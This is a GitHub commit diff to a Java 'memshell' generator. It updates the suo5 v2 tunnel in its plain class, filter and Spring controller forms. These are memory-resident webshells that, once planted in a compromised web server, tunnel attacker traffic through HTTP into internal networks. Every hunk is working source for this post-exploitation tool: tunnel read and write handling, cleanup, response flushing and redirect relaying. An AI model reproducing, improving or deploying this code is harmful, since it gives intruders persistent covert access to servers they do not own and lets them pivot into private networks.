Skip to content

Commit 3230ddd

Browse files
zema1ReaJason
authored andcommitted
feat: sync suo5 v2.1.0
1 parent 82a6118 commit 3230ddd

File tree

11 files changed

+294
-145
lines changed

11 files changed

+294
-145
lines changed

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2.java

Lines changed: 25 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -248,8 +248,9 @@ private boolean processRedirect(Object req, Object resp, HashMap dataMap, byte[]
248248
baos.write(bodyContent);
249249
byte[] newBody = baos.toByteArray();
250250
conn = redirect(req, new String(redirectData), newBody);
251+
resp.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(resp, new Object[]{new Integer(conn.getResponseCode())});
251252
OutputStream out = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
252-
pipeStream(conn.getInputStream(), out, false);
253+
pipeStream(conn.getInputStream(), out, resp, false);
253254
} finally {
254255
if (conn != null) {
255256
conn.disconnect();
@@ -346,11 +347,10 @@ private void processFullStream(Object req, Object resp, HashMap dataMap, String
346347

347348
Thread t = null;
348349
boolean sendClose = true;
350+
final OutputStream scOutStream = socket.getOutputStream();
351+
final InputStream scInStream = socket.getInputStream();
352+
final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
349353
try {
350-
final OutputStream scOutStream = socket.getOutputStream();
351-
final InputStream scInStream = socket.getInputStream();
352-
final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
353-
354354
Suo5v2 p = new Suo5v2(scInStream, respOutputStream, tunId);
355355
t = new Thread(p);
356356
t.start();
@@ -539,8 +539,8 @@ private void performWrite(HashMap dataMap, String tunId, boolean newThread) thro
539539
throw new IOException("tunnel not found");
540540
}
541541
SocketChannel sc = (SocketChannel) objs[0];
542-
if (!sc.isConnected()) {
543-
throw new IOException("socket not connected");
542+
if (!sc.isOpen()) {
543+
return;
544544
}
545545

546546
byte[] data = (byte[]) dataMap.get("dt");
@@ -563,9 +563,6 @@ private byte[] performRead(String tunId) throws Exception {
563563
throw new IOException("tunnel not found");
564564
}
565565
SocketChannel sc = (SocketChannel) objs[0];
566-
if (!sc.isConnected()) {
567-
throw new IOException("socket not connected");
568-
}
569566
ByteArrayOutputStream baos = new ByteArrayOutputStream();
570567
BlockingQueue<byte[]> readQueue = (BlockingQueue<byte[]>) objs[1];
571568
int maxSize = 512 * 1024; // 1MB
@@ -582,6 +579,10 @@ private byte[] performRead(String tunId) throws Exception {
582579
break; // no more data
583580
}
584581
}
582+
if (!sc.isOpen() && readQueue.isEmpty()) {
583+
performDelete(tunId);
584+
baos.write(marshalBase64(newDel(tunId)));
585+
}
585586
return baos.toByteArray();
586587
}
587588

@@ -610,7 +611,7 @@ private int getServerPort(Object request) throws Exception {
610611
return port;
611612
}
612613

613-
private void pipeStream(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws Exception {
614+
private void pipeStream(InputStream inputStream, OutputStream outputStream, Object resp, boolean needMarshal) throws Exception {
614615
try {
615616
byte[] readBuf = new byte[1024 * 8];
616617
while (true) {
@@ -624,6 +625,9 @@ private void pipeStream(InputStream inputStream, OutputStream outputStream, bool
624625
}
625626
outputStream.write(dataTmp);
626627
outputStream.flush();
628+
if (resp != null) {
629+
resp.getClass().getMethod("flushBuffer").invoke(resp);
630+
}
627631
}
628632
} finally {
629633
// don't close outputStream
@@ -1031,7 +1035,7 @@ public void run() {
10311035
// full stream
10321036
if (this.mode == 0) {
10331037
try {
1034-
pipeStream(gInStream, gOutStream, true);
1038+
pipeStream(gInStream, gOutStream, null, true);
10351039
} catch (Exception ignore) {
10361040
}
10371041
return;
@@ -1065,10 +1069,17 @@ public void run() {
10651069
// write thread
10661070
while (true) {
10671071
byte[] data = writeQueue.poll(300, TimeUnit.SECONDS);
1068-
if (data == null || data.length == 0) {
1072+
if (data == null) {
10691073
selfClean = true;
10701074
break;
10711075
}
1076+
if (data.length == 0) {
1077+
byte[] signal = writeQueue.poll(10, TimeUnit.SECONDS);
1078+
if (signal == null) {
1079+
selfClean = true;
1080+
}
1081+
break;
1082+
}
10721083
ByteBuffer buf = ByteBuffer.wrap(data);
10731084
while (buf.hasRemaining()) {
10741085
sc.write(buf);
@@ -1080,8 +1091,8 @@ public void run() {
10801091
if (selfClean) {
10811092

10821093
removeKey(this.gtunId);
1094+
readQueue.clear();
10831095
}
1084-
readQueue.clear();
10851096
writeQueue.clear();
10861097
try {
10871098
writeQueue.put(new byte[0]);

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2ControllerHandler.java

Lines changed: 28 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -229,7 +229,8 @@ private boolean processRedirect(HttpServletRequest req, HttpServletResponse resp
229229
baos.write(bodyContent);
230230
byte[] newBody = baos.toByteArray();
231231
conn = redirect(req, new String(redirectData), newBody);
232-
pipeStream(conn.getInputStream(), resp.getOutputStream(), false);
232+
resp.setStatus(conn.getResponseCode());
233+
pipeStream(conn.getInputStream(), resp.getOutputStream(), resp, false);
233234
} finally {
234235
if (conn != null) {
235236
conn.disconnect();
@@ -325,10 +326,13 @@ private void processFullStream(HttpServletRequest req, HttpServletResponse resp,
325326

326327
Thread t = null;
327328
boolean sendClose = true;
329+
OutputStream scOutStream = null;
330+
InputStream scInStream = null;
331+
OutputStream respOutputStream = null;
328332
try {
329-
final OutputStream scOutStream = socket.getOutputStream();
330-
final InputStream scInStream = socket.getInputStream();
331-
final OutputStream respOutputStream = resp.getOutputStream();
333+
scOutStream = socket.getOutputStream();
334+
scInStream = socket.getInputStream();
335+
respOutputStream = resp.getOutputStream();
332336

333337
Suo5v2ControllerHandler p = new Suo5v2ControllerHandler(scInStream, respOutputStream, tunId);
334338
t = new Thread(p);
@@ -519,8 +523,8 @@ private void performWrite(HashMap dataMap, String tunId, boolean newThread) thro
519523
throw new IOException("tunnel not found");
520524
}
521525
SocketChannel sc = (SocketChannel) objs[0];
522-
if (!sc.isConnected()) {
523-
throw new IOException("socket not connected");
526+
if (!sc.isOpen()) {
527+
return;
524528
}
525529

526530
byte[] data = (byte[]) dataMap.get("dt");
@@ -543,9 +547,6 @@ private byte[] performRead(String tunId) throws Exception {
543547
throw new IOException("tunnel not found");
544548
}
545549
SocketChannel sc = (SocketChannel) objs[0];
546-
if (!sc.isConnected()) {
547-
throw new IOException("socket not connected");
548-
}
549550
ByteArrayOutputStream baos = new ByteArrayOutputStream();
550551
BlockingQueue<byte[]> readQueue = (BlockingQueue<byte[]>) objs[1];
551552
int maxSize = 512 * 1024; // 1MB
@@ -562,6 +563,10 @@ private byte[] performRead(String tunId) throws Exception {
562563
break; // no more data
563564
}
564565
}
566+
if (!sc.isOpen() && readQueue.isEmpty()) {
567+
performDelete(tunId);
568+
baos.write(marshalBase64(newDel(tunId)));
569+
}
565570
return baos.toByteArray();
566571
}
567572

@@ -590,7 +595,7 @@ private int getServerPort(HttpServletRequest request) throws Exception {
590595
return port;
591596
}
592597

593-
private void pipeStream(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws Exception {
598+
private void pipeStream(InputStream inputStream, OutputStream outputStream, HttpServletResponse resp, boolean needMarshal) throws Exception {
594599
try {
595600
byte[] readBuf = new byte[1024 * 8];
596601
while (true) {
@@ -604,6 +609,9 @@ private void pipeStream(InputStream inputStream, OutputStream outputStream, bool
604609
}
605610
outputStream.write(dataTmp);
606611
outputStream.flush();
612+
if (resp != null) {
613+
resp.flushBuffer();
614+
}
607615
}
608616
} finally {
609617
// don't close outputStream
@@ -1011,7 +1019,7 @@ public void run() {
10111019
// full stream
10121020
if (this.mode == 0) {
10131021
try {
1014-
pipeStream(gInStream, gOutStream, true);
1022+
pipeStream(gInStream, gOutStream, null, true);
10151023
} catch (Exception ignore) {
10161024
}
10171025
return;
@@ -1045,10 +1053,17 @@ public void run() {
10451053
// write thread
10461054
while (true) {
10471055
byte[] data = writeQueue.poll(300, TimeUnit.SECONDS);
1048-
if (data == null || data.length == 0) {
1056+
if (data == null) {
10491057
selfClean = true;
10501058
break;
10511059
}
1060+
if (data.length == 0) {
1061+
byte[] signal = writeQueue.poll(10, TimeUnit.SECONDS);
1062+
if (signal == null) {
1063+
selfClean = true;
1064+
}
1065+
break;
1066+
}
10521067
ByteBuffer buf = ByteBuffer.wrap(data);
10531068
while (buf.hasRemaining()) {
10541069
sc.write(buf);
@@ -1060,8 +1075,8 @@ public void run() {
10601075
if (selfClean) {
10611076

10621077
removeKey(this.gtunId);
1078+
readQueue.clear();
10631079
}
1064-
readQueue.clear();
10651080
writeQueue.clear();
10661081
try {
10671082
writeQueue.put(new byte[0]);

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Filter.java

Lines changed: 28 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -234,7 +234,8 @@ private boolean processRedirect(HttpServletRequest req, HttpServletResponse resp
234234
baos.write(bodyContent);
235235
byte[] newBody = baos.toByteArray();
236236
conn = redirect(req, new String(redirectData), newBody);
237-
pipeStream(conn.getInputStream(), resp.getOutputStream(), false);
237+
resp.setStatus(conn.getResponseCode());
238+
pipeStream(conn.getInputStream(), resp.getOutputStream(), resp, false);
238239
} finally {
239240
if (conn != null) {
240241
conn.disconnect();
@@ -330,10 +331,13 @@ private void processFullStream(HttpServletRequest req, HttpServletResponse resp,
330331

331332
Thread t = null;
332333
boolean sendClose = true;
334+
OutputStream scOutStream = null;
335+
InputStream scInStream = null;
336+
OutputStream respOutputStream = null;
333337
try {
334-
final OutputStream scOutStream = socket.getOutputStream();
335-
final InputStream scInStream = socket.getInputStream();
336-
final OutputStream respOutputStream = resp.getOutputStream();
338+
scOutStream = socket.getOutputStream();
339+
scInStream = socket.getInputStream();
340+
respOutputStream = resp.getOutputStream();
337341

338342
Suo5v2Filter p = new Suo5v2Filter(scInStream, respOutputStream, tunId);
339343
t = new Thread(p);
@@ -524,8 +528,8 @@ private void performWrite(HashMap dataMap, String tunId, boolean newThread) thro
524528
throw new IOException("tunnel not found");
525529
}
526530
SocketChannel sc = (SocketChannel) objs[0];
527-
if (!sc.isConnected()) {
528-
throw new IOException("socket not connected");
531+
if (!sc.isOpen()) {
532+
return;
529533
}
530534

531535
byte[] data = (byte[]) dataMap.get("dt");
@@ -548,9 +552,6 @@ private byte[] performRead(String tunId) throws Exception {
548552
throw new IOException("tunnel not found");
549553
}
550554
SocketChannel sc = (SocketChannel) objs[0];
551-
if (!sc.isConnected()) {
552-
throw new IOException("socket not connected");
553-
}
554555
ByteArrayOutputStream baos = new ByteArrayOutputStream();
555556
BlockingQueue<byte[]> readQueue = (BlockingQueue<byte[]>) objs[1];
556557
int maxSize = 512 * 1024; // 1MB
@@ -567,6 +568,10 @@ private byte[] performRead(String tunId) throws Exception {
567568
break; // no more data
568569
}
569570
}
571+
if (!sc.isOpen() && readQueue.isEmpty()) {
572+
performDelete(tunId);
573+
baos.write(marshalBase64(newDel(tunId)));
574+
}
570575
return baos.toByteArray();
571576
}
572577

@@ -595,7 +600,7 @@ private int getServerPort(HttpServletRequest request) throws Exception {
595600
return port;
596601
}
597602

598-
private void pipeStream(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws Exception {
603+
private void pipeStream(InputStream inputStream, OutputStream outputStream, HttpServletResponse resp, boolean needMarshal) throws Exception {
599604
try {
600605
byte[] readBuf = new byte[1024 * 8];
601606
while (true) {
@@ -609,6 +614,9 @@ private void pipeStream(InputStream inputStream, OutputStream outputStream, bool
609614
}
610615
outputStream.write(dataTmp);
611616
outputStream.flush();
617+
if (resp != null) {
618+
resp.flushBuffer();
619+
}
612620
}
613621
} finally {
614622
// don't close outputStream
@@ -1016,7 +1024,7 @@ public void run() {
10161024
// full stream
10171025
if (this.mode == 0) {
10181026
try {
1019-
pipeStream(gInStream, gOutStream, true);
1027+
pipeStream(gInStream, gOutStream, null, true);
10201028
} catch (Exception ignore) {
10211029
}
10221030
return;
@@ -1050,10 +1058,17 @@ public void run() {
10501058
// write thread
10511059
while (true) {
10521060
byte[] data = writeQueue.poll(300, TimeUnit.SECONDS);
1053-
if (data == null || data.length == 0) {
1061+
if (data == null) {
10541062
selfClean = true;
10551063
break;
10561064
}
1065+
if (data.length == 0) {
1066+
byte[] signal = writeQueue.poll(10, TimeUnit.SECONDS);
1067+
if (signal == null) {
1068+
selfClean = true;
1069+
}
1070+
break;
1071+
}
10571072
ByteBuffer buf = ByteBuffer.wrap(data);
10581073
while (buf.hasRemaining()) {
10591074
sc.write(buf);
@@ -1065,8 +1080,8 @@ public void run() {
10651080
if (selfClean) {
10661081

10671082
removeKey(this.gtunId);
1083+
readQueue.clear();
10681084
}
1069-
readQueue.clear();
10701085
writeQueue.clear();
10711086
try {
10721087
writeQueue.put(new byte[0]);

0 commit comments

Comments
 (0)